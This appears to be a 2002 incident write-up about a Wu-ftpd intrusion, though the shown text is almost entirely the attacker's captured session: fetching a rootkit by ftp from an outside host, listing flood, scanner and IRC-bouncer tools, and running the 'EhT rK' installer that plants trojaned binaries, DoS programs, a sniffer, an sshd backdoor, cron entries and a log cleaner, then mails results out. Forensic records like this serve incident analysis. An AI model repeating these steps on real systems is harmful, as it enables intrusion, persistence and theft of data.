

## 利用 Wu-ftpd 漏洞 入侵后的简单分析

September 12, 2002

Sinbad Technical Publications  
Website: <http://sinbad.zhoubin.com>  
© Copyright 2002, All Rights Reserved

---













rk.tgz

**tar -zxvf rk.tgz**

**ls**

bin

etc

lib

pub

rk.tgz

**ftp killtecsport.go.ro**

**killtecsport**

**adduser**

**ls**

Name (killtecsport.go.ro:root):

-rw-r--r--	1 free	web	39345 Jul 13 13:05 flood.tgz
-rw-r--r--	1 free	web	55334 Aug 14 08:06 mirkforce.tgz
-rw-r--r--	1 free	web	4917 May 23 14:50 muie.tgz
-rw-r--r--	1 free	web	41754 Aug 12 22:35 newBSD.tar.gz
-rw-r--r--	1 free	web	221244 Aug 18 12:37 newssh.tgz
-rw-r--r--	1 free	web	56169 Jul 27 07:58 php.gz
drwxr-xr-x	9 free	web	89 Jul 21 06:02 psybnc
-rw-r--r--	1 free	web	200798 Jul 21 06:08 psybnc.tar.gz
-rw-r--r--	1 free	web	519130 Aug 19 08:07 rk.eht
-rw-r--r--	1 free	web	308710 Aug 23 08:58 rk1.eht
-rw-r--r--	1 free	web	31827 May 23 14:35 scanners.tar.gz
-rw-r--r--	1 free	web	2073 Aug 12 22:35 sl3.tar.gz
-rw-r--r--	1 free	web	7851 Aug 18 12:33 strobe.tgz
-rw-r--r--	1 free	web	27198 Jul 16 09:03 suid
-rw-r--r--	1 free	web	342893 May 12 06:01 tk.tgz
-rw-r--r--	1 free	web	2118 Aug 18 12:35 vadimII.tgz

**get rk.eht**

**bye**

**tar -zxvf rk.eht**

rk/

rk/

rk/chsh

rk/inet

rk/sense

rk/utills/

rk/utills/nowu

rk/login

rk/.1addr

rk/.1file

rk/.1proc

```
rk/ls
rk/vdir
rk/crontab-entry
rk/ps
rk/wp
rk/shad
rk/netstat
rk/xinetd
rk/find
rk/sshd/
rk/sshd/ssh
rk/sshd/init.sshd
rk/sshd/sshd-install
rk/sshd/sshd_config
rk/sshd/install.log
rk/sshd/ssh_host_key
rk/sshd/sshd
rk/.llgz
rk/top
rk/install
rk/atd.init
rk/du
rk/pstree
rk/syslogd
rk/syslogd.init
rk/md5bd
rk/sysinfo
rk/linsniffer
rk/functions
rk/clean
rk/slice
rk/stream
rk/killall
cd rk
./install
```

```
[0m[36m--[0m[1;30m[[0m[1;32m-- EhT rK -- [0m[1;30m][0m[36m--[0m[37m
[0m[36m|[0m[1;36m= [0m[1;37mInstalling trojaned programs...[0m[37m
[0m[36m|[0m[1;36m--- [0m[37mchsh
[0m[36m|[0m[1;36m--- [0m[37mps
[0m[36m|[0m[1;36m--- [0m[37mtp
[0m[36m|[0m[1;36m--- [0m[37mpstree
```

```

[0m[36m|[0m[1;36m--- [0m[37mkillall
[0m[36m|[0m[1;36m--- [0m[37mmls
[0m[36m|[0m[1;36m--- [0m[37mfind
[0m[36m|[0m[1;36m--- [0m[37mdu
[0m[36m|[0m[1;36m--- [0m[37mnetstat
[0m[36m|[0m[1;36m--- [0m[37msyslogd
[0m[36m|[0m[1;36m--- [0m[37mlog cleaner
[0m[36m|[0m[1;36m--- [0m[37mwp
[0m[36m|[0m[1;36m--- [0m[37mshad
[0m[36m|[0m[1;36m= [0m[1;37mInstalling DoS programs...[0m[37m
[0m[36m|[0m[1;36m--- [0m[37mvadim
[0m[36m|[0m[1;36m--- [0m[37mslice
[0m[36m|[0m[1;36m= [0m[1;37mInstalling sniffer...[0m[37m
[0m[36m|[0m[1;36m= [0m[1;37mInstalling sshd backdoor...[0m[37m
[0m[36m|[0m[1;36m= [0m[1;37mSetting up crontab entries...[0m[37m
[0m[1;32mopen ports:[0m[37m

```

portmap	283	root	4u	IPv4	332	TCP *:sunrpc (LISTEN)
rpc.statd	306	root	1u	IPv4	366	TCP *:909 (LISTEN)
identd	369	root	4u	IPv4	429	TCP *:auth (LISTEN)
identd	372	root	4u	IPv4	429	TCP *:auth (LISTEN)
identd	373	root	4u	IPv4	429	TCP *:auth (LISTEN)
identd	375	root	4u	IPv4	429	TCP *:auth (LISTEN)
identd	376	root	4u	IPv4	429	TCP *:auth (LISTEN)
inetd	416	root	4u	IPv4	478	TCP *:ftp (LISTEN)
inetd	416	root	5u	IPv4	479	TCP *:telnet (LISTEN)
inetd	416	root	6u	IPv4	480	TCP *:shell (LISTEN)
inetd	416	root	9u	IPv4	481	TCP *:login (LISTEN)
inetd	416	root	12u	IPv4	484	TCP *:finger (LISTEN)
inetd	416	root	13u	IPv4	486	TCP *:linuxconf (LISTEN)
lpd	429	root	6u	IPv4	500	TCP *:printer (LISTEN)
sendmail	459	root	4u	IPv4	537	TCP *:smtp (LISTEN)
atd	1069	root	3u	IPv4	1199	TCP *:ssmtp (LISTEN)

```

[0m[1;32mchecking for other rootkits:[0m[37m

```

```

[0m[1;31msniffer logz[0m[37m

```

```

identd    1047  root    7w    REG    3,5    0    77791

```

```

/usr/local/games/tcp.log

```

```

[0m[1;31m/dev filez:[0m[37m

```

```

[0m[1;32mSending mail...wait few minutez[0m[37m

```

```

[0m[1;32mDone.[0m[37m

```

```

[0m[1;32mDone.[0m[37m

```

```

[0m[1;32mDone.[0m[37m

```

```

[0m[1;32mDone.[0m[37m

```

```

[0m[1;32mDone.[0m[37m

```

[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m  
[0m[1;32mDone.[0m[37m